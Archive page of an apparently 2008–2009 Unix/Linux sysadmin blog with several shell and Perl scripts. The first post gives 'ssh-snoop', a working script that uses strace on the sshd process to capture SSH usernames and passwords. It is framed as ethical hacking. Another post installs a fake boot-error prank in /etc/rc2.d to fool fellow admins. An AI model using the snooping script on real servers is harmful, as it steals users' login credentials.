Showing posts with label shell script. Show all posts
Showing posts with label shell script. Show all posts

Wednesday, May 27, 2009

Snooping For Usernames And Passwords Over SSH Using Strace On Linux

Hey There,

Well, it's about time for me to quit working, so I can get up and make it work on time tomorrow ;) All kidding aside, nowadays, I'm just glad I have a job. This economy is miserable. But I'm still a glass half full kinda guy ;)

It's been a while since we've done any posts on "ethical hacking" (breaking the system to make it more secure), like our old post on grabbing Usernames And Passwords Over Telnet Using TcpDump On Linux, but today, I got a little bug in me and decided to see what could be done about SSH.

Well, SSH is pretty secure - as advertised ;) However, I found that, if you have the root privilege to snoop an interface for username and password traffic, you can just as easily trace SSH processes using strace; getting much the same results. The only real limitation is that you can't grab information that's floating by and/or through your machine; only traffic directly connecting to it. But, if you're setting up a honeypot, the bees should be coming to you, anyway ;)

You can run this shell script (which I'll admit is a little sketchy - written under duress ;) fairly simply, like so:

host # ./ssh-snoop

The picture below shows the minimal interactivity at startup (just to confirm that you get the base SSH process - since the strace call will run down all the forked processes from the root). In the case shown below the username is "user123" and the password is "easyPass" You'll have to sift through a few lines of garbage, but it's better then combing the full strace output:

Click the Picture Below To Biggie-Size Your Passwords ;)

Thank God you're not this poor bastard

Hope you enjoy this and that it helps you convince at least one other person that a real need for security actually still exists :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# ssh-snoop - not really snooping or tcp-dumping, but close enough :)
#
# 2009 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

ssh_root_proc=`ps -ef|grep "[s]shd"|awk '{ if ( $3 == "1" ) print $2}'`

echo "SSH root proc has been discovered as PID $ssh_root_proc"
echo "Please check ps output below to determine if this is correct"
echo
ps -ef|grep "[s]shd"
echo
echo "enter y or Y if correct or correct PID number. Ctl-C to exit"
read ssh_pid
if [ "$ssh_pid" = "y" -o "$ssh_pid" = "Y" ]
then
ssh_pid=$ssh_root_proc
elif [ -z "$ssh_pid" ]
then
echo "No valid confirmation or PID entered. Exiting..."
exit 1
fi

echo "Building user login grep pattern from /etc/passwd"
user_grep=`awk -F":" '{ if ( $3 > 100 ) print $1}' /etc/passwd |xargs -ivar echo -n "var|"|sed 's/$/password/'`

echo "Setting SSH root proc to $ssh_pid"
echo
echo "Dumping Output - Ctl-C to quit and examine"
passcount=9
passpossible=0
strace -f -etrace=write -s 64 -p $ssh_pid 2>&1|while read SSH
do
pass_test=`echo $SSH|grep -i password` >/dev/null 2>&1
if [ $? -eq 0 ]
then
xline=`echo $SSH 2>&1|grep write`
echo "POSSIBLE PASSWORD: $xline"
passpossible=1
elif [ $passpossible -eq 1 -a $passcount -lt 9 ]
then
xline=`echo $SSH 2>&1|grep write`
echo "POSSIBLE PASSWORD: $xline"
let passcount=$passcount+1
passpossible=1
else
xline=`echo $SSH 2>&1|grep write|egrep $user_grep`
if [ ! -z "$xline" ]
then
echo "POSSIBLE USERNAME: $xline"
fi
passcount=0
passpossible=0
fi
done


, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Tuesday, May 5, 2009

Wtmpx Log Rolling On Unix or Linux: Practical Application Of Fwtmp

Hey There,

In yesterday's post on getting the year from wtmpx, we took a look at a great built-in program called fwtmp (that I somehow managed to not notice for several years ;) and examined some uses of it from a high level perspective.

Today we're going to look it from an opposite angle and look at something very specific that it can help you do. And, just to dot the i's that I can (and this list is, of course, incomplete), you can find fwtmp in /usr/lib/acct on Solaris and in /usr/sbin/acct on RedHat Linux (AS 5.2) and on SUSE Linux 9. Of course, all of the operating systems require you to have the correct pkg/rpm/dpkg files installed in order for the command to exist on your system at all :)

Below is a really simple shell script to illustrate the functionality of fwtmp. It's basically a log rotation script written specifically to highlight the use of fwtmp to rotate your wtmpx/wtmp/btmp file. It's meant to be run in cron and is simple to execute since (as it stands) it takes no arguments. Feel free to embellish for your own environment or to make it more accessible across a wide variety of different OS's. The basic cron entry I would add would be something like:

58 23 * * * /usr/local/bin/wtmp_rotate >/dev/null 2>&1


which basically just tells the cron daemon to run /usr/local/bin/wtmp_rotate (the place I like to put all my custom scripts) at 11:58pm every day and to dump any output from the command into the bit-bucket (redirecting both STDOUT and STDERR to /dev/null)

Hope this script helps you out some. You may want to test it by making a temporary directory and copying your wtmpx file into there first. I've included some commented lines to indicate the parts of the script you'd want to modify to ensure that your testing "doesn't" use the real system file.

And to answer the question of why I compress the files after converting them back to binary; I found, in my testing, that the opposite of what seemed logical was true. The binary files compacted to a much greater degree than the fwtmp-generated ASCII files. I didn't investigate it much further since it is what it is, but, if I had to throw out a possible reason it may be that fwtmp pads that ASCII file with a lot of extra bits that can't be stripped (That brush-off has middle-management written all over it ;)

Enjoy and cheers :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# wtmpx_rotate - rotate your user login logs... wheee :)
#
# 2009 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

# COMMENTED OUT SECTIONS SHOULD BE SWAPPED WITH THEIR UNCOMMENTED COUNTERPARTS TO DO LOCAL-DIRECTORY TESTING WITH A COPY OF WTMPX
# THESE SWAPPABLE SECTIONS WILL BE SEPARATED FROM LIKE PARTS OF THE SCRIPT BY A SINGLE BLANK LINE

if [[ ! -d /var/adm/backup_log_dir ]]
then
mkdir /var/adm/backup_log_dir
fi


#if [[ ! -d backup_log_dir ]]
#then
# mkdir backup_log_dir
#fi


wtmpx="/var/adm/wtmpx" # This may be /var/log/wtmpx or /var/log/lastlog depending on your setup
#wtmpx="wtmpx"


fwtmp="/usr/lib/acct/fwtmp" # This may be /usr/sbin/fwtmp depending on your setup. Not using "which" since /usr/lib/acct isn't a standard directory.
sed=`which sed`
rm=`which rm`
compress=`which compress` # Or gzip, bzip2, whatever you prefer

grep_date=$(date "+%a %b %e")
grep_date_ext=$(date "+%a %b %e"|$sed 's/ //g')
grep_year=$(date +%Y)
variable_ext1=$(echo ${RANDOM}`date "+%S"`)
variable_ext2=$(echo ${RANDOM}`date "+%S"`)
variable_ext3=$(echo ${RANDOM}`date "+%S"`)
wtmpx_plus_variable_ext1=${wtmpx}.$variable_ext1
wtmpx_plus_variable_ext2=${wtmpx}.$variable_ext2
wtmpx_plus_variable_ext3=${wtmpx}.$variable_ext3
backup_log_dir_file=${wtmpx}.${grep_date_ext}.$grep_year


backup_log_dir_dir="/var/adm/backup_log_dir"
#backup_log_dir_dir="backup_log_dir"


$fwtmp < $wtmpx > $wtmpx_plus_variable_ext1

$sed -n "/$grep_date.*$grep_year$/p" $wtmpx_plus_variable_ext1 > $wtmpx_plus_variable_ext2
$sed "/$grep_date.*$grep_year$/d" $wtmpx_plus_variable_ext1 > $wtmpx_plus_variable_ext3

$rm $wtmpx $wtmpx_plus_variable_ext1

$fwtmp -ic < $wtmpx_plus_variable_ext2 > $wtmpx
$fwtmp -ic < $wtmpx_plus_variable_ext3 > $backup_log_dir_file

$rm $wtmpx_plus_variable_ext2 $wtmpx_plus_variable_ext3
$compress $backup_log_dir_file
mv ${backup_log_dir_file}.Z $backup_log_dir_dir


, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Tuesday, April 21, 2009

Simple Script To List Groups In Passwd File Output On Linux And Unix

Hey There,

Today's simple, but somewhat useful, little Bash Script is brought to you by "The Human Fund: Money For People" ;) That was shamelessly lifted from "Seinfeld," but I always liked that fake name better than UNICEF ;)

Basically, todays Bash script manipulates the output of a simple "cat" of the /etc/passwd file and interpolates primary and secondary group values, for each user, into their respective output lines. It should run equally well on virtually any Linux or Unix distro since the passwd fields are in the same order on almost all of them and it doesn't make use of any of the group file fields past the fourth (so extended group files shouldn't affect this).

NOTE: This script goes well with this bash one liner to generate somewhat fancy w output. Haven't had your fill of pap for the day? Check that out ;)

The output you'll get from the script is similar to a simple "cat" of the /etc/password file (senility awareness kicking in - I just mentioned that ;), except that the fourth field will be modified. When you run this script, you'll notice that the fourth field of colon-delimited output includes alpha dash (-) delimited output of the form: pg=XXXX-sg=XXXX, rather than just the standard numeric Primary Group ID. The "pg" stands for Primary Group and the "sg" stands for Secondary Group. The Secondary Group, it should be noted, may contain more than one entry (split by commas), if the user belongs to more than one secondary group, and will print "NONE" if the user ID being listed doesn't belong to any groups other than its primary.

The script's simple to to run (because it doesn't have any fancy options ;) and should work fairly quickly (although, like everything, it could probably be more efficient. Once I fully develop my insect-like ability to differentiate microseconds, this sort of thing will bother me much more ;).

To run it, simply run it, like so, and you'll get your output (This is from a stripped Solaris box with only one user account and several useless standard accounts removed):

host # ./pwgroups
root:x:0:pg=root-sg=root,other,bin,sys,adm,uucp,mail,tty,lp,nuucp,daemon:Super-User:/:/sbin/sh
daemon:x:1:pg=other-sg=bin,adm,daemon::/:
bin:x:2:pg=bin-sg=bin,sys::/usr/bin:
sys:x:3:pg=sys-sg=sys::/:
adm:x:4:pg=adm-sg=sys,adm,tty,lp:Admin:/var/adm:
lp:x:71:pg=lp-sg=lp:Line Printer Admin:/usr/spool/lp:
uucp:x:5:pg=uucp-sg=uucp:uucp Admin:/usr/lib/uucp:
nuucp:x:9:pg=nuucp-sg=nuucp:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
smmsp:x:25:pg=smmsp-sg=smmsp:SendMail Message Submission Program:/:
listen:x:37:pg=adm-sg=NONE:Network Admin:/usr/net/nls:
webservd:x:80:pg=webservd-sg=webservd:WebServer Reserved UID:/:
postgres:x:90:pg=postgres-sg=postgres:PostgreSQL Reserved UID:/:/usr/bin/pfksh
nobody:x:60001:pg=nobody-sg=nobody:NFS Anonymous Access User:/:
noaccess:x:60002:pg=noaccess-sg=noaccess:No Access User:/:
nobody4:x:65534:pg=nogroup-sg=NONE:SunOS 4.x NFS Anonymous Access User:/:
user1:x:37527:pg=unixteam-sg=guys,folks:Captain Beefmeat:/export/home/user1:/bin/bash


Sure, this script won't save lives (or even change any ;) but I have found use for it from time to time. ...Which stands to reason, I suppose. If I don't think I'm ever going to do something again, I almost never script it out ;)

Hope you find it useful or, at least, mildly amusing :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# pwgroups - add alpha primary and secondary group information to /etc/passwd output
#
# 2009 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

export IFS=":"
while read one two three four five six seven
do
pri=$(grep -w ${four} /etc/group|awk -F":" '{print $1}')
sec=$(echo `grep -w ${one} /etc/group|awk -F":" '{print $1}'`|xargs echo|sed 's/ /,/g')
if [[ ${#sec} -eq 0 ]]
then
sec=NONE
fi
echo "${one}:${two}:${three}:pg=${pri}-sg=${sec}:${five}:${six}:${seven}"
done </etc/passwd



, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Wednesday, April 15, 2009

Having Fun With Other Solaris Sys Admins

Hey There,

Today I'm speeding around, working my arse off so that I can work all weekend (When does it end? ...oh yeah; with the worms ;) and I wrote this little shell script (in Solaris' /bin/sh) to lighten the mood a little.

It's another in a string of a thousand fake error messages, but it worked pretty well for my purposes. I made sure to install it up front in the /etc/rc2.d directory (from JumpStart) so that any admin watching a new installation come up for the first time (to verify its integrity) would be guaranteed to see it. Man, it was fun until I had to fix the problem and pretend I had no idea what happened ;)

Enjoy the video of the script output and, hopefully, you can have some fun with this shell script (or a variation of it) on your own!

Please note that the only fun thing other than the error message are the traps set on the interrupts. It's a reboot-a-thon in the making ;)








Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh

#
# bad_news.sh - OMFG
#
# 2009 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

trap 'tput rc' 0 1 2 3 15
echo
echo "EXCEPTION: kern.alert !!!"
echo "SYSTEM BOOT ERROR!"
sleep 1
echo "SYSTEM BOOT ERROR!"
echo "Resampling Solaris Boot Loader ..."
sleep 2
echo "Extracting libC boot loader kernel modules"
sleep 1
echo
echo "Fixing /usr/platform/"`uname -i`
echo "This should just take a moment before resuming..."
echo
echo "YOU WILL NEED TO REBOOT THE SYSTEM WHEN THIS PROCESS COMPLETES!"
sleep 1
echo
echo "RUN PHASE 1: Removing files from /usr/platform/"`uname -i`"/ ...\c"
tput sc
while :
do
echo "| \c"
tput rc
echo "/ \c"
tput rc
echo "- \c"
tput rc
echo "\\ \c"
tput rc
done


Cheers,



Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Wednesday, April 9, 2008

Shell Menu Script For Cygwin Linux To Access The XP Control Panel

Cygwin Bash script to access the XP control panel

Please click the above image for a larger, and scarier, version ;)

Hello again,

Just in case you read the title and thought "oh man, more color?", I've kept it to a minimum here ;) Although the concepts used in creating today's script were covered in our previous posts on using color in the shell and creating a simple color menu (both for Linux and Unix), this one is just different enough that I thought it might be of interest to some folks out there.

Today's script is actually for a very specific brand of Linux: Cygwin for Windows XP (I think you could get away with using this script letter-for-letter on Windows 2000, but I can't be sure about ME and Vista).

The script interface is designed so that you can access the Windows Control Panel directly from your default Cygwin Bash shell. Check out the picture above for a look at it in action (breathtaking... ;). Unfortunately, I have yet to figure out how to make Cygwin control the Control Panel applets once they've launched in Windows. I believe it might be possible with some Tk button pushing, but that's beyond where I'm at with Cygwin.

The script can be run simply from the command line and requires no arguments (Although it does assume that your Windows environment is setup correctly and your system knows where its system32 folder is):

user@hostpc ~ ./xpcpanel.sh

You'll note that not every single control panel option is included in our Linux menu shell script. I picked the top 16 (This is a subjective rating system of course ;). All of the other applets should be listed under your main Windows directory, in the system32 folder and named something like "applet.cpl". For instance, the output from an "ls" on my machine comes out to around 30 applets. They can all be run using the "control" command, like so:

user@hostpc ~ control main.cpl

And here's the complete list of applets you can use to customize this menu (The number and availability may vary depending on your system, but this should be a fair representation. Also note that /cygdrive/c/WINDOWS/system32 directory is actually C:\WINDOWS\system32 if you use Windows to navigate):

user@hostpc ~
$ ls /cygdrive/c/WINDOWS/system32/*.cpl
/cygdrive/c/WINDOWS/system32/access.cpl
/cygdrive/c/WINDOWS/system32/appwiz.cpl
/cygdrive/c/WINDOWS/system32/bthprops.cpl
/cygdrive/c/WINDOWS/system32/desk.cpl
/cygdrive/c/WINDOWS/system32/firewall.cpl
/cygdrive/c/WINDOWS/system32/hdwwiz.cpl
/cygdrive/c/WINDOWS/system32/inetcpl.cpl
/cygdrive/c/WINDOWS/system32/infocardcpl.cpl
/cygdrive/c/WINDOWS/system32/intl.cpl
/cygdrive/c/WINDOWS/system32/irprops.cpl
/cygdrive/c/WINDOWS/system32/javacpl.cpl
/cygdrive/c/WINDOWS/system32/joy.cpl
/cygdrive/c/WINDOWS/system32/main.cpl
/cygdrive/c/WINDOWS/system32/mlcfg32.cpl
/cygdrive/c/WINDOWS/system32/mmsys.cpl
/cygdrive/c/WINDOWS/system32/nCredps.cpl
/cygdrive/c/WINDOWS/system32/ncpa.cpl
/cygdrive/c/WINDOWS/system32/netsetup.cpl
/cygdrive/c/WINDOWS/system32/nusrmgr.cpl
/cygdrive/c/WINDOWS/system32/nwc.cpl
/cygdrive/c/WINDOWS/system32/odbccp32.cpl
/cygdrive/c/WINDOWS/system32/powercfg.cpl
/cygdrive/c/WINDOWS/system32/sapcacpl.cpl
/cygdrive/c/WINDOWS/system32/sapfcpl.cpl
/cygdrive/c/WINDOWS/system32/sysdm.cpl
/cygdrive/c/WINDOWS/system32/telephon.cpl
/cygdrive/c/WINDOWS/system32/timedate.cpl
/cygdrive/c/WINDOWS/system32/wgpocpl.cpl
/cygdrive/c/WINDOWS/system32/wscui.cpl
/cygdrive/c/WINDOWS/system32/wuaucpl.cpl


And here it is. I hope you enjoy it and find it useful. Once I'm on the Linux command line, I don't want to futz around with Windows unless I have to, and this script helps out a little :)

And, oh yes, note also that this is a fairly long menu (16 control panel items alone), so the default Cygwin window won't be big enough to fit it all in. As long as you enter a value (it can even be bogus) and hit any key, it will redraw the screen so you can resize your window as many times as you want)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash
#
# xpcpanel.sh - Save Yourself The Hassle Of Dealing With The XP Start Menu :)
#
# 2008 - Mike Golvach - eggi@comcast.net
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

trap 'tput reset;exit 1' 1 2 3 9 15

tput civis

while :
do
echo -e "\033[44;37;22m"
clear
echo -e "\033[41;37m"

echo -ne "\033[46;30m"
tput cup 8 25 ; echo -n " Windows XP Control Panel "
tput cup 9 25 ; echo -n "----------------------------"
tput cup 10 25 ; echo -n " Choose Your Option "
echo -e "\033[40;32m"

tput cup 12 25 ; echo -n " 1. Accessibility "
tput cup 13 25 ; echo -n " 2. Add/Remove Programs "
tput cup 14 25 ; echo -n " 3. Display Settings "
tput cup 15 25 ; echo -n " 4. Add Hardware "
tput cup 16 25 ; echo -n " 5. Internet Explorer Setup "
tput cup 17 25 ; echo -n " 6. Regional Settings "
tput cup 18 25 ; echo -n " 7. Game Controllers "
tput cup 19 25 ; echo -n " 8. Mouse Settings "
tput cup 20 25 ; echo -n " 9. Keyboard Settings "
tput cup 21 25 ; echo -n " 10. Sound/Audio Settings "
tput cup 22 25 ; echo -n " 11. Network Settings "
tput cup 23 25 ; echo -n " 12. User Account Settings "
tput cup 24 25 ; echo -n " 13. Power Settings "
tput cup 25 25 ; echo -n " 14. System Properties "
tput cup 26 25 ; echo -n " 15. Phone And Modem Options"
tput cup 27 25 ; echo -n " 16. Date/Time Settings "
tput cup 28 25 ; echo -n " 17. Quit "

echo -ne "\033[41;30m"
tput cup 30 28 ; echo -n " Pick Your Poison: "
tput cup 30 48
tput sc

read y
tput cup 32 30

case "$y" in
1)
control access.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
2)
control appwiz.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
3)
control desk.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
4)
control hdwwiz.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
5)
control inetcpl.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
6)
control intl.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
7)
control joy.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
8)
control main.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
9)
control main.cpl,@1
tput rc
echo -n "Any Key To Menu"
read x
;;
10)
control mmsys.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
11)
control ncpa.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
12)
control nusrmgr.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
13)
control powercfg.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
14)
control sysdm.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
15)
control telephon.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
16)
control timedate.cpl
tput rc
echo -n "Any Key To Menu"
read x
;;
17|q|Q)
tput sgr0
clear
exit
;;
[A-Za-z])
tput cup 32 28
echo "Unless you're quitting, please Pick a NUMBER"
tput rc
echo -n "Any Key To Menu"
read x
;;
*)
tput cup 32 28
echo "$y - Unknown Option"
tput rc
echo -n "Any Key To Menu"
read x
;;
esac
done


, Mike




Monday, March 10, 2008

Shell Script To Report Linux Server Hardware Information

server info script output

Please click above for a slightly larger view of the beginning of the output today's script provides :)

Hey There,

Well, I guess it's about time we starting putting some more shell scripts out there. The last 3 or 4 posts have all been how-to's (except the last one, which I suppose you could trim all the surrounding text and make a script out of ;) and it's high time to start hitting the shell again.

Today's offering is something we cooked up to tiptoe the fine-line between producing what a manager wants to see and what an administrator wants to see in a quick system profile. This has been tested on RedHat Linux and SUSE (only up to release 9.x). The only major difference is some extra output in the "SERVER - MEMORY" section (mostly when run on x86_64 architecture machines) that some of you may find useful.

If you're interested in something more basic, or generic, check out our previous posts on gathering system information on Solaris and gathering system information on RedHat Linux.

This is a pretty straightforward shell script offering that basically parses the output of the hwinfo command. We run it in "--short" mode for most options, but leave it long for parts where the shortening process removed vital information (Like the brand name of the server). It's formatted loosely, but is fairly easy to read. One of the things I like most about it (and the main reason I started writing it in the first place) is that it highlights the Manufacturer, Model and Serial number of the machine your Linux OS is running on. This generally isn't an issue when you're, say, running Solaris on your Sun box ;) Then, of course, I couldn't get away from putting in all the basic information about CPU, Memory, Disks, etc.

If you want to know more about your system than this little shell script will show you, the hwinfo command has a variety of options I chose not to include (Neither my manager nor I want to know about every little "debug" detail of the PCI controller unless we have to ;), but you can access just about any hardware related information using that command. Just run it as:

host # hwinfo --help

Assuming, of course, that you've run this script already as:

host # ./server_info.sh

and found it lacking.

If hwinfo isn't available on your machine (Oh, yes. Be sure you're "root" when you run this or you might not have the access required to pull some of the information hwinfo tries to get for you!), there are a number of other options available to you, both on SUSE, RedHat and different flavors of Linux. Off the top of my head, you can always give these commands a shot (assuming they exist ;) --> kudzu, lspci, lsusb, dmidecode and a great project (which even has a GUI now) called lshw. You should check that out if you or your manager dig this little shell script :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# server_info.sh - display server hardware info
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

hwinfo="/usr/sbin/hwinfo --short"
hostname=`hostname`
separator="----------------------------------------"
echo $separator
echo "System Information For $hostname"
echo $separator
echo $separator
echo SERVER - MEMORY
echo $separator
/usr/sbin/hwinfo --bios|egrep 'OEM id:|Product id:|CPUs|Product:|Serial:|Physical Memory Array:|Max. Size:|Memory Device:|Location:|Size:|Speed:|Location:'|sed -e 's/"//g' -e '/^ *Speed: */s/Memory Device:/\n Memory Device:/' -e 's/\(Max. Speed:\)/CPU \1 MHz/' -e 's/\(Current Speed\)/CPU \1 MHz/'
echo $separator
echo SMP
echo $separator
$hwinfo --smp
echo $separator
echo CPU
echo $separator
$hwinfo --cpu
echo $separator
echo CD_ROM
echo $separator
/usr/sbin/hwinfo --cdrom|egrep '24:|Device File:|Driver:'|awk -F":" '{ if ( $1 ~ /[0-9][0-9]*/ ) print $0; else print " " $2}'|sed -e 's/^.*[0-9] //' -e 's/ //' -e 's/"//g'
echo $separator
echo DISK
echo $separator
$hwinfo --disk
echo $separator
echo PARTITION
echo $separator
$hwinfo --partition
echo $separator
echo NETWORK
echo $separator
$hwinfo --network
echo $separator
echo NETCARD
echo $separator
$hwinfo --netcard
echo $separator


, Mike




Friday, February 8, 2008

Simple Linux Mods For Shell Script To Disable User Accounts

Hey there,

Yesterday, we posted a huge chunk of code getting the latest version our script to disable or delete user accounts. So, in the interest of keeping this page from becoming way too long, I'm just going to post the "diff" today. I quote the term diff, because I'm using it very loosely ;)

For the astute reader, I also noted a few missing single ticks on two lines in yesterday's script and have modified that post. Strangely enough, after repeated testing to make sure I was still all there, Solaris Unix doesn't seem to care (???) RedHat Linux picked it up right away though!

The modifications necessary to make the manual part of this version of our user disabling/deleting shell script are actually quite refreshing. While Solaris still insists that you unpack the utmp struct in /var/adm/wtmpx in order to get any year information from login monitoring commands, Linux provides this information for you with the "lastlog" command.

Yes, the modification is really that simple :)

So, without further ado, I've laid out the chunks of old code from yesterday, followed by the uncommented code that you should replace it with when running this on Linux. I put the two different places you'll need to make a change, in order, from top to bottom, as that seems normal to me ;)

You'll notice that the script's output is slightly different (and actually more conversational in tone), but, for our purposes, it doesn't need to be modified. We're still at the stage where we want to do a visual double-check.

Enjoy,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

*** This section was in yesterday's script, but I've
*** changed the RedHat variable to be the lastlog
*** program instead of the /var/log/wtmp file

# $wtmpx_file_loc = "/var/adm/wtmpx"; # For Solaris
$wtmpx_file_loc = "/usr/bin/lastlog"; # For RedHat

*** The only other difference is a big chunk of code, but
*** actually a much simpler solution to implement in Linux

*** The Old Solaris Code - You should delete, or comment
* out this entire section and replace it with the new
* code below on Linux systems
*
* $template = "A32 A4 A32 l s s2 x2 l2 l x20 s A257 x";
* $recordsize = length(pack($template,( )));
* open(WTMP,$wtmpx_file_loc) or die "Unable to open wtmpx:$!\n";
* while (read(WTMP,$record,$recordsize)) {
* if ( $wtmpx_counter == 1 ) {
* print ".";
* $wtmpx_counter = 500;
* $wtmpx_total++;
* }
* ($ut_user,$ut_id,$ut_line,$ut_pid,$ut_type,$ut_e_termination,
* $ut_e_exit,$tv_sec,$tv_usec,$ut_session,$ut_syslen,$ut_host)=
* unpack($template,$record);
* push (@wtmpx_uv, "$ut_user ".scalar localtime($tv_sec));
* $wtmpx_counter--;
* $wtmpx_total++;
* }
*
*** End of the old Solaris code you should comment out or delete

* The substitute code for your Linux Shell Script
*
open(WTMP, "lastlog|") or die "can't open $wtmpx_file_loc: $!";
@rhwtmp = <WTMP>;
close(WTMP);
foreach $rhwtmp (@rhwtmp) {
if ( $wtmpx_counter == 1 ) {
print ".";
$wtmpx_counter = 500;
$wtmpx_total++;
}
push (@wtmpx_uv, $rhwtmp);
$wtmpx_counter--;
$wtmpx_total++;
}
*
* End of the substitute code - a lot easier to understand.


, Mike




Thursday, February 7, 2008

Shell Script To Disable and Delete User Accounts - Follow Up

Hey there,

This is a long overdue follow up to an older post where we began walking through the process of developing a decent and useful shell script, from scratch, to identify user accounts to disable or terminate based on the amount of time passed since they last logged in. Our goal was to make it simple to use and workable on RedHat Linux and Solaris Unix.

The rules are still the same: 45 days without a login equals account password locking and 90 days without a login equals account deletion. All actions (the password locking and account deletion) are still being kept manual, since the script isn't finished yet. You could argue that, no matter how good the script gets, that kind of stuff should always be kept manual, just in case. Don't want to delete the wrong person's account ;)

In this update, we've integrated another cross-check, utilizing Perl to get relevant information from the system wtmpx file (Referenced in greater detail in this post on taking a look inside wtmpx). We'll need to use this to provide a comparison against the modification time checks we're already doing on the users' home directories.

Important Note: Since this script is for both Linux and Unix, I made the location of the wtmpx file a variable, since it resides in /var/adm on Solaris and /var/log on RedHat Linux. The variable (comment out the one you need to) $wtmpx_file_loc has been added to address that issue. There are still other issues with Linux's implementation of wtmp that we will look at tomorrow (So that this script will run correctly on that OS. Please, no complaints until then ;)

Neither check is guaranteed to give a correct result, but utilizing both of them will quickly point out accounts flagged for deletion or lockdown that actually shouldn't be! In certain circumstances, both checks will fail to give entirely definitive results (for instance, if a user's home directory is over 90 days old and he/she doesn't have any entries in wtmpx, it's possible that we'd be deleting or locking the account in error, but much less likely).

Note that this is still a work in progress since, right now, we've got it printing out information to the screen for manual verification. In our next update, we'll take the wtmpx output (crucial to use Perl for this because we need the "year" and commands like "last" and "logins" don't provide that information) and convert it, so that we can have the "time-since-last-login" it provides to directly cross-reference against the filesystem checks inside the script; thus removing that manual part of the verification.

We've also made the user notifications a bit more warm and cuddly. Always in the best interest of everyone to be courteous when we can :)


Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# accountminder.pl
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

$hostname=`hostname`;
$wtmpx_counter = 500;
$wtmpx_total = 0;
$wtmpx_file_loc = "/var/adm/wtmpx"; # For Solaris
# $wtmpx_file_loc = "/var/log/wtmp"; # For RedHat
print "PROCESSING WTMPX FILE FOR CROSS-CHECKING: ";
$| = 1;
$template = "A32 A4 A32 l s s2 x2 l2 l x20 s A257 x";
$recordsize = length(pack($template,( )));
open(WTMP,$wtmpx_file_loc) or die "Unable to open wtmpx:$!\n";
while (read(WTMP,$record,$recordsize)) {
if ( $wtmpx_counter == 1 ) {
print ".";
$wtmpx_counter = 500;
$wtmpx_total++;
}
($ut_user,$ut_id,$ut_line,$ut_pid,$ut_type,$ut_e_termination,
$ut_e_exit,$tv_sec,$tv_usec,$ut_session,$ut_syslen,$ut_host)=
unpack($template,$record);
push (@wtmpx_uv, "$ut_user ".scalar localtime($tv_sec));
$wtmpx_counter--;
$wtmpx_total++;
}
close(WTMP);
print ".\n";
print "PROCESSED $wtmpx_total ENTRIES\n";

$today=time();

@no_shells=`egrep -i 'nologin|false' /etc/passwd|awk -F":" '{print \$1}'`;
@in_admin=`grep -w 99999 /etc/passwd|awk -F":" '{print \$1}'`;
@user_names=`awk -F":" '{print \$1}' /etc/passwd`;
open(LOCKEDTEXT, "<locked.txt");
@locked_text = <LOCKEDTEXT>;
close(LOCKEDTEST);
print "\nRemoving LOCKED ACCOUNTS ";
foreach $locked_user (@user_names) {
print ".";
chomp($locked_user);
if ( grep /$locked_user/,@locked_text ) {
push(@tmp_user_names,$locked_user);
print "$locked_user ";
}
}
print "\n";
print "\nRemoving NO_SHELL ACCOUNTS ";
foreach $locked_user (@user_names) {
print ".";
chomp($locked_user);
if ( grep /$locked_user/,@no_shells ) {
push(@tmp_user_names,$locked_user);
print "$locked_user ";
}
}
print "\n";
print "\nRemoving ADMINISTRATIVE ACCOUNTS ";
foreach $locked_user (@user_names) {
print ".";
chomp($locked_user);
if ( grep /$locked_user/,@in_admin ) {
push(@tmp_user_names,$locked_user);
print "$locked_user ";
}
}
print "\n\n";
@total = @both = @unique_names = ();
%count = ();
foreach $possible_dupe (@user_names, @tmp_user_names) {
